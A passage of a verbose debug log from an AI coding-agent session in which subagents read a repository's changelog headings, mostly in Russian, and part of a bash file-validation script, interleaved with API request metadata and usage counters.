(T-01)\\n1413:### Changed \u2014 Issue #263 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u0438\u0434\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\\n1461:### Added \u2014 Issue #261 \u0424\u0422 \u043f\u043e BCREQ-1069 (\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447)\\n1475:### Added \u2014 Issue #125 cascading context loading\\n1494:### Added \u2014 Issue #123 \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/`\\n1510:### Added \u2014 Issue #121 KB pipeline: multi-file \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432\\n1531:### Fixed \u2014 Issue #119 KB pipeline: multi-part PDF \u0438 Git LFS\\n1543:### Fixed \u2014 Issue #117 KB pipeline: \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0438 multi-part PDF\\n1560:### Fixed \u2014 Issue #115 KB pipeline: \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u043e \u0432 `kb/processed/`\\n1579:### Added \u2014 Issue #111 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u0430\u044f \u0411\u0417 \u0438\u0437 PDF: \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 + \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 + \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f (Creative)\\n1618:### Added \u2014 Issue #109 dogfooding-\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u00ab\u041c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb (Creative + Structured)\\n1640:### Added \u2014 Issue #105 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0441 \u0425\u0430\u0431\u043e\u043c (Research + Structured)\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1693:### Added \u2014 Issue #97 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 (Creative + Research)\\n1738:### Fixed \u2014 Issue #103 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0438 UI \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n1756:### Added \u2014 Issue #99 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f GitHub Pages (\u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0438 UX)\\n1786:### Fixed \u2014 Issue #95 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c ID \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\\n1798:### Changed \u2014 Issue #92 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (`id` + `title`), \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 EXPERIMENTAL\\n1820:### Changed \u2014 Issue #91 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 GitHub Pages (\u043f\u043e\u0440\u044f\u0434\u043e\u043a, \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430)\\n1850:### Added \u2014 Issue #86 Mango Office Multichannel widget\\n1862:### Added \u2014 Issue #85 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 MVP-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432 \u0411\u0410\\n1882:### Added \u2014 Issue #83 \u043a\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\\n1896:### Added \u2014 Issue #78 \u043f\u0440\u043e\u043c\u043f\u0442-\u0441\u0443\u043c\u043c\u0430\u0440\u0438\u0437\u0430\u0442\u043e\u0440 \u0441\u0435\u0441\u0441\u0438\u0439 \u0411\u0410\\n1920:### Added \u2014 Issue #74 GitHub Pages interface\\n1943:### Added \u2014 Issue #76 \u0441\u0443\u043c\u043c\u0430\u0440\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0435\u0441\u0441\u0438\u0439 \u0425\u0430\u0431\u0430\\n1953:### Changed \u2014 Issue #72 Smart Sync \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0425\u0430\u0431\u0430\\n1991:### Added \u2014 Issue #65 README \u0434\u043b\u044f `prompts/`\\n1999:### Added \u2014 Issue #64 ADR \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432\\n2017:### Added \u2014 Issue #66 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410 \u0441 \u0433\u0440\u0430\u0444\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0435\u0439 \u0438 \u043a\u0430\u0440\u0442\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n2038:### Added \u2014 Issue #63 ADR \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n2047:### Changed \u2014 Issue #61 Creative-mode governance \u0431\u0435\u0437 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0434\u043e\u043b\u0433\u0430\\n2066:### Added \u2014 Issue #52 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442: \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f, RFC \u0425\u0430\u0431\u0430 \u0438 \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n2105:### Changed \u2014 Issue #56 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u0435 draft-\u0444\u0430\u0439\u043b\u0430 \u043d\u0430 23 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n2135:### Added \u2014 Issue #54 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 `prompts/drafts/`\\n2149:### Changed \u2014 Issue #48 \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u0435 `AI_SESSION_HANDOVER_PROMPT.md` (\u0440\u043e\u043b\u044c \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432)\\n2171:### Added \u2014 Issue #46 governance sync with Hub (PR #208)\\n2197:### Changed \u2014 sync `AI_GOVERNANCE.md` / `AI_QUICK_RULES.md` from `templates/htom/`\\n2213:### Added \u2014 M-009 migration manifest\\n2224:### Added \u2014 M-007 hub research dependency registry\\n2237:### Added \u2014 M-006 prompt frontmatter normalization\\n2251:### Added \u2014 M-004 product classification contract\\n2261:### Added \u2014 Phase 1 migration scaffold\\n2276:### Added \u2014 Initial repository structure based on hybrid-Intelligence-lab templates\\n2290:### Changed\\n2338:### Removed\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:30.255Z] [INFO]       }\n[2026-09-29T07:46:30.255Z] [INFO]     ]\n[2026-09-29T07:46:30.255Z] [INFO]   },\n[2026-09-29T07:46:30.255Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"uuid\": \"2b03ecdc-d992-4501-86f6-226f1dc870b1\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.250Z\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:30.255Z] [INFO] }\n[2026-09-29T07:46:30.288Z] [STDOUT] [log_3bd3cc] sending request {\n[2026-09-29T07:46:30.291Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:30.294Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:30.299Z] [STDOUT]   options: {\n[2026-09-29T07:46:30.302Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:30.307Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:30.311Z] [STDOUT]     body: {\n[2026-09-29T07:46:30.315Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:30.321Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:30.325Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:30.329Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:30.332Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:30.337Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:30.342Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:30.346Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:30.351Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:30.355Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:30.357Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:30.359Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:30.364Z] [STDOUT]     },\n[2026-09-29T07:46:30.366Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:30.369Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:30.374Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:30.377Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:30.381Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:30.383Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:30.387Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:30.391Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:30.395Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:30.398Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:30.401Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:30.408Z] [STDOUT]     },\n[2026-09-29T07:46:30.412Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:30.416Z] [STDOUT]   },\n[2026-09-29T07:46:30.421Z] [STDOUT]   headers: {\n[2026-09-29T07:46:30.424Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:30.428Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:30.432Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:30.439Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:30.444Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:30.448Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:30.452Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:30.456Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:30.459Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:30.467Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:30.470Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:30.473Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1422\",\n[2026-09-29T07:46:30.476Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:30.479Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:30.481Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.484Z] [STDOUT]     \"x-client-request-id\": \"db8b16b7-3460-4029-9d1e-01bf2f476b95\",\n[2026-09-29T07:46:30.487Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:30.491Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:30.495Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:30.498Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:30.500Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:30.503Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:30.505Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:30.508Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:30.515Z] [STDOUT]   },\n[2026-09-29T07:46:30.519Z] [STDOUT] }\n[2026-09-29T07:46:30.820Z] [INFO] {\n[2026-09-29T07:46:30.820Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.820Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"id\": \"msg_011CfXMqSJvRDDuXyZUQXzzG\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.820Z] [INFO]       {\n[2026-09-29T07:46:30.820Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:30.820Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:30.820Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:46:30.820Z] [INFO]     ],\n[2026-09-29T07:46:30.820Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:30.820Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_creation_input_tokens\": 1554,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_read_input_tokens\": 95317,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:30.820Z] [INFO]         \"ephemeral_5m_input_tokens\": 1554,\n[2026-09-29T07:46:30.820Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:30.820Z] [INFO]       },\n[2026-09-29T07:46:30.820Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:30.820Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:30.820Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:30.820Z] [INFO]     },\n[2026-09-29T07:46:30.820Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:30.820Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:30.820Z] [INFO]   },\n[2026-09-29T07:46:30.820Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"uuid\": \"f933927b-ef86-4d77-a86a-1e6cbaae8541\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.816Z\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"request_id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:30.820Z] [INFO] }\n[2026-09-29T07:46:30.993Z] [INFO] {\n[2026-09-29T07:46:30.993Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.993Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.993Z] [INFO]       {\n[2026-09-29T07:46:30.993Z] [INFO]         \"tool_use_id\": \"toolu_016qgi6X3y1orwN361mQuE9c\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"content\": \"  if [[ -f \\\"$path\\\" ]] && ! grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must contain: $text\\\"\\n  fi\\n}\\n\\nreject_text() {\\n  local path=\\\"$1\\\"\\n  local text=\\\"$2\\\"\\n  if [[ -f \\\"$path\\\" ]] && grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must not contain: $text\\\"\\n  fi\\n}\\n\\nis_active_file() {\\n  case \\\"$1\\\" in\\n    # Project documentation is an inherited canonical home defined by\\n    # standards/project-structure-inheritance.md. Its internal shape belongs to\\n    # the project; document-class validators still enforce known subtypes.\\n    projects/*/docs/*)\\n      return 0\\n      ;;\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0444\u0430\u0439\u043b\u043e\u0432\u043e: \u0435\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\\n    # \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439 \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n    # \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 (tools/validate-package.py).\\n    projects/ba-ai-process/dist/execution-package-gigacode-cli/*)\\n      return 0\\n      ;;\\n    # Cline pilot Source and compiled Distribution are validated together by\\n    # tools/test-cline-package.sh; the runtime package is checked by its manifest.\\n    projects/ba-ai-process/build/common/* | \\\\\\n    projects/ba-ai-process/build/adapters/cline-vscode/* | \\\\\\n    projects/ba-ai-process/build/compile-cline-package.py | \\\\\\n    projects/ba-ai-process/dist/execution-package-cline-vscode/* | \\\\\\n    projects/ba-ai-process/tests/cline-package/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/ba-meta-model/product-taxonomy/* | \\\\\\n    projects/ba-ai-process/build/compiler/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/meta-model-guides/* | \\\\\\n    projects/ba-ai-process/tests/execution-package/* | \\\\\\n    projects/ba-ai-process/experiments/*)\\n      return 0\\n      ;;\\n    README.md | \\\\\\n    AGENTS.md | \\\\\\n    .hub-profile.json | \\\\\\n    .gitignore | \\\\\\n    docs/concept.md | \\\\\\n    docs/ba-meta-model-overview.md | \\\\\\n    docs/superpowers/plans/2026-09-09-agents-md-physical-integration.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    ai-governance/README.md | \\\\\\n    ai-governance/ai-governance.md | \\\\\\n    ai-governance/agent-security-checklist.md | \\\\\\n    ai-rules/README.md | \\\\\\n    ai-rules/agent-work-rules.md | \\\\\\n    ai-rules/agent-onboarding-protocol.md | \\\\\\n    ai-rules/adversarial-stress-testing.md | \\\\\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:30.993Z] [INFO]       }\n[2026-09-29T07:46:30.993Z] [INFO]     ]\n[2026-09-29T07:46:30.993Z] [INFO]   },\n[2026-09-29T07:46:30.993Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:30.993Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"uuid\": \"31fca2b9-1b49-403a-8d24-613436de1dfd\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.986Z\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:30.993Z] [INFO]     \"stdout\": \"  if [[ -f \\\"$path\\\" ]] && ! grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must contain: $text\\\"\\n  fi\\n}\\n\\nreject_text() {\\n  local path=\\\"$1\\\"\\n  local text=\\\"$2\\\"\\n  if [[ -f \\\"$path\\\" ]] && grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must not contain: $text\\\"\\n  fi\\n}\\n\\nis_active_file() {\\n  case \\\"$1\\\" in\\n    # Project documentation is an inherited canonical home defined by\\n    # standards/project-structure-inheritance.md. Its internal shape belongs to\\n    # the project; document-class validators still enforce known subtypes.\\n    projects/*/docs/*)\\n      return 0\\n      ;;\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0444\u0430\u0439\u043b\u043e\u0432\u043e: \u0435\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\\n    # \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439 \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n    # \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 (tools/validate-package.py).\\n    projects/ba-ai-process/dist/execution-package-gigacode-cli/*)\\n      return 0\\n      ;;\\n    # Cline pilot Source and compiled Distribution are validated together by\\n    # tools/test-cline-package.sh; the runtime package is checked by its manifest.\\n    projects/ba-ai-process/build/common/* | \\\\\\n    projects/ba-ai-process/build/adapters/cline-vscode/* | \\\\\\n    projects/ba-ai-process/build/compile-cline-package.py | \\\\\\n    projects/ba-ai-process/dist/execution-package-cline-vscode/* | \\\\\\n    projects/ba-ai-process/tests/cline-package/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/ba-meta-model/product-taxonomy/* | \\\\\\n    projects/ba-ai-process/build/compiler/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/meta-model-guides/* | \\\\\\n    projects/ba-ai-process/tests/execution-package/* | \\\\\\n    projects/ba-ai-process/experiments/*)\\n      return 0\\n      ;;\\n    README.md | \\\\\\n    AGENTS.md | \\\\\\n    .hub-profile.json | \\\\\\n    .gitignore | \\\\\\n    docs/concept.md | \\\\\\n    docs/ba-meta-model-overview.md | \\\\\\n    docs/superpowers/plans/2026-09-09-agents-md-physical-integration.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    ai-governance/README.md | \\\\\\n    ai-governance/ai-governance.md | \\\\\\n    ai-governance/agent-security-checklist.md | \\\\\\n    ai-rules/README.md | \\\\\\n    ai-rules/agent-work-rules.md | \\\\\\n    ai-rules/agent-onboarding-protocol.md | \\\\\\n    ai-rules/adversarial-stress-testing.md | \\\\\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:30.993Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:30.993Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:30.993Z] [INFO]   }\n[2026-09-29T07:46:30.993Z] [INFO] }\n[2026-09-29T07:46:31.026Z] [STDOUT] [log_a5a6cf] sending request {\n[2026-09-29T07:46:31.029Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:31.032Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.036Z] [STDOUT]   options: {\n[2026-09-29T07:46:31.039Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:31.042Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:31.045Z] [STDOUT]     body: {\n[2026-09-29T07:46:31.049Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:31.053Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:31.058Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:31.061Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:31.064Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:31.070Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:31.073Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:31.076Z] 